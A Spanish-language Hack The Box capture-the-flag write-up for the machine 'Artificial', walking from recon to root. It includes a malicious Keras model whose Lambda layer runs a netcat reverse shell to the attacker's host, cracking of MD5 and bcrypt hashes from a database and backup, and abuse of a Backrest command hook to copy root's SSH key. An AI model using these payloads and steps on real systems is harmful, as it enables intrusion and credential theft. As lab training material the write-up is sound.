Descripción

Artificial es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Plataforma web de inteligencia artificial que permite subir modelos de TensorFlow, lo cual conduce a la ejecución remota de comandos
  • Pivote del usuario al recuperar la contraseña del hash de un usuario de la plataforma de IA y reutilización de contraseñas
  • Aplicación web Backrest con una copia comprimida de su configuración con su contraseña en forma de hash y su recuperación
  • Elevación de privilegios mediante la ejecución de comandos con Backrest

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.68.41.

$ ping -c 3 10.129.68.41
PING 10.129.68.41 (10.129.68.41) 56(84) bytes of data.
64 bytes from 10.129.68.41: icmp_seq=1 ttl=63 time=51.6 ms
64 bytes from 10.129.68.41: icmp_seq=2 ttl=63 time=48.3 ms
64 bytes from 10.129.68.41: icmp_seq=3 ttl=63 time=48.5 ms

--- 10.129.68.41 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.329/49.465/51.577/1.494 ms

La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.68.41 -Pn -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.68.41
Host is up (0.049s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
1093/tcp  filtered proofd
1174/tcp  filtered fnet-remote-ui
3283/tcp  filtered netassistant
49156/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 17.38 seconds

Obtenemos dos puertos abiertos, 22 y 80.️

Enumeración

Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️

$ nmap 10.129.68.41 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.68.41
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.57 seconds

Obtenemos dos servicios: uno de SSH y otro de HTTP. Como no disponemos de credenciales accesibles para el servicio de SSH, nos movemos al servicio de HTTP. Encontramos el dominio del servicio HTTP. Por lo tanto, agregamos la entrada del dominio artificial.htb al archivo /etc/hosts.

$ echo "10.129.68.41 artificial.htb" | sudo tee -a /etc/hosts

Encontramos el sitio web del servicio Artificial, en el que podemos construir, probar y desplegar modelos de inteligencia artificial fácilmente. Se nos muestra un ejemplo de código escrito en Python que utiliza la biblioteca tensorflow para crear un modelo. TensorFlow es una biblioteca que se utiliza para crear y entrenar modelos de redes neuronales.

import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100
...

Podemos registrar una nueva cuenta y luego iniciar sesión, así que vamos a hacerlo. Cuando iniciamos sesión nos lleva a un panel de control en el que podemos subir nuestro propio modelo de inteligencia artificial. Encontramos que necesitamos tener algunos requerimientos instalados cuando esté construyendo nuestro modelo, la biblioteca Python tensorflow-cpu==2.13.1. Se nos proporciona un archivo Dockerfile para crear nuestra propia instancia de Python con la versión específica de tensorflow instalada.

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Al crear un modelo malicioso como se ve en el Splint CyberBlog podemos obtener ejecución de comandos remotos en la máquina remota.

Explotación

Empezaremos escribiendo el script de Python que creará el modelo malicioso. Lo guardaremos como exploit.py

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.31 1234 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Luego crearemos nuestra propia imagen de Docker con el Dockerfile anterior y con el nombre pythontensor.

$ mkdir docker
$ cd docker
$ wget http://artificial.htb/static/Dockerfile
$ nano exploit.py
$ docker build . -t pythontensor

Luego crearemos un nuevo contenedor de Docker con la carpeta presente mapeada a la carpeta /code del contenedor. Luego ejecutamos el script de Python.

$ docker run --rm -i -t -v .:/code pythontensor
root@392d99e50642:/code# python exploit.py
root@392d99e50642:/code# ls
Dockerfile  exploit.h5  exploit.py

Tenemos el archivo de modelo exploit.h5. Antes de subirlo al servicio web con el botón Upload Model, iniciaremos la lista escuchando con netcat.

$ nc -nvlp 1234

Después de subir el modelo encontramos una lista de modelos subidos. Podemos desencadenar la vulnerabilidad haciendo clic en el botón View Predictions. Recibimos una conexión reversa como el usuario app, la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.31] from (UNKNOWN) [10.129.68.41] 59222
/bin/sh: 0: can't access tty; job control turned off
$ whoami
app
$ script /dev/null -c bash
Script started, file is /dev/null
[CTRL-Z]
$ stty raw -echo; fg
reset xterm
app@artificial:~/app$

Post-Explotación

Encontramos como usuarios de consola en el sistema: root, gael and app.

app@artificial:~/app$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
gael:x:1000:1000:gael:/home/gael:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

Nos encontramos en la carpeta raíz de la aplicación web /home/app/app. Una base de datos SQLite existe en el archivo /home/app/app/instance/users.db.

app@artificial:~/app$ file /home/app/app/instance/users.db 
/home/app/app/instance/users.db: SQLite 3.x database, last written using SQLite version 3031001

La exploramos para extraer las contraseñas/hashes de los usuarios.

app@artificial:~/app$ sqlite3 /home/app/app/instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|user|user@artificial.htb|5f4dcc3b5aa765d61d8327deb882cf99

Encontramos el hash c99175974b6e192936d97224638a34f8 para el usuario gael. Lo crackeamos con la herramienta John The Ripper ya que parece un hash MD5.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 gael_hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
mattp005numbertwo (gael)     
1g 0:00:00:00 DONE 4.166g/s 23840Kp/s 23840Kc/s 23840KC/s mattpapa..mattlvsbree
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para el usuario gael en la plataforma web, mattp005numbertwo. La contraseña se reutiliza para el usuario de Linux, por lo que podemos acceder mediante el protocolo SSH.

$ ssh gael@artificial.htb                          
gael@artificial.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...
gael@artificial:~$ whoami
gael

Encontramos un puerto TCP interno (localhost) abierto, 9898.

gael@artificial:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9898          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Redirigimos el puerto para comprobar que servicio contiene.

$ ssh -N -L 9898:127.0.0.1:9898 gael@artificial.htb                     gael@artificial.htb's password:

Encontramos una instancia de Backrest, en su versión v1.7.2. Backrest es una solución de copias de seguridad accesible a través del navegador construida sobre restic. Si el proceso está ejecutándose como el usuario root esto significa que será capaz de hacer un respaldo de cualquier archivo en el sistema, incluyendo la clave privada SSH del usuario root. Necesitamos credenciales para acceder al panel de control, pero no las tenemos. Encontramos el archivo de configuración para Backrest, /opt/backrest/.config/backrest/config.json, pero no tenemos permisos para leerlo.

gael@artificial:~$ stat /opt/backrest/.config/backrest/config.json
  File: /opt/backrest/.config/backrest/config.json
...
Access: (0600/-rw-------)  Uid: (    0/    root)   Gid: (    0/    root)

Encontramos un respaldo de Backrest en el archivo /var/backups/backrest_backup.tar.gz.

gael@artificial:~$ ls -l /var/backups/backrest_backup.tar.gz
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 /var/backups/backrest_backup.tar.gz

Podemos extraerlo y leer la configuración. El archivo tiene la extensión .tar.gz pero en realidad es un archivo .tar.

gael@artificial:~$ mktemp -d
gael@artificial:~$ cd /tmp/tmp.2wZcT6Z7hu
gael@artificial:/tmp/tmp.2wZcT6Z7hu$ cp /var/backups/backrest_backup.tar.gz .
gael@artificial:/tmp/tmp.2wZcT6Z7hu$ file /var/backups/backrest_backup.tar.gz
/var/backups/backrest_backup.tar.gz: POSIX tar archive (GNU)
gael@artificial:/tmp/tmp.2wZcT6Z7hu$ tar xvf backrest_backup.tar.gz
gael@artificial:/tmp/tmp.2wZcT6Z7hu$ cat backrest/.config/backrest/config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

El usuario es backrest_root y la contraseña en forma de hash bcrypt está codificada utilizando Base64, JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP. Después de decodificarla, recuperamos la contraseña utilizando la herramienta John The Ripper.

$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

$ nano backrest_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt backrest_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (backrest_root)     
1g 0:00:00:10 DONE 0.09596g/s 525.1p/s 525.1c/s 525.1C/s lightbulb..ilovejack
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña para el usuario backrest_root es !@#$%^. La utilizamos para iniciar sesión en la interfaz web. Se nos redirige al panel de control. Tenemos la opción de crear nuevos Plans (respaldos) o Repositories (volúmenes en los que se guardan los respaldos). Empezaremos creando un nuevo repositorio. Rellenamos el campo Repo Name, el campo Repository URI, y el campo de contraseña y luego clicamos en el botón Submit. Después de crear el repositorio agregamos un nuevo plan. Rellenamos el campo Plan Name, el campo Repository y el campo Paths. Cuando estamos rellenando el campo Paths con la ruta /root encontramos que sus archivos se sugieren, lo que significa que la aplicación tiene acceso a los archivos de raíz. Con esta enumeración encontramos que el archivo privado de clave SSH id_rsa existe en la carpeta /root/.ssh. Establecemos el archivo /root/.ssh/id_rsa en el campo Paths. Un par de opciones más abajo, encontramos la opción Hooks. Si hacemos clic en el botón Add Hook y en el botón Command que aparece, podemos ejecutar comandos con una condición. La condición CONDITION_SNAPSHOT_START se ejecuta al inicio de una operación de respaldo. Podemos ejecutar un comando para extraer la clave privada SSH id_rsa a la carpeta /tmp y luego cambiar su propietario a gael, para permitir que el usuario inicie una sesión interactiva como el usuario root. Con el comando cp /root/.ssh/id_rsa /tmp/id_rsa; chown gael:gael /tmp/id_rsa. Guardamos el repositorio con el botón Submit y tendremos el nuevo plan plan1. Podemos disparar la copia de seguridad haciendo clic en su nombre y el botón Backup Now. Regresando a la terminal encontramos que los comandos han sido ejecutados.

gael@artificial:/tmp/tmp.2wZcT6Z7hu$ ls /tmp
id_rsa

Creamos la sesión como usuario root utilizando el protocolo SSH.

gael@artificial:/tmp/tmp.2wZcT6Z7hu$ ssh -i /tmp/id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:Vt2sGQnyed99YMw8aPIIBTUlrC0VDJmTJIeAJHQWXjU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
.,..
root@artificial:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@artificial:~# cat /home/gael/user.txt 
<REDACTED>
root@artificial:~# cat /root/root.txt
<REDACTED>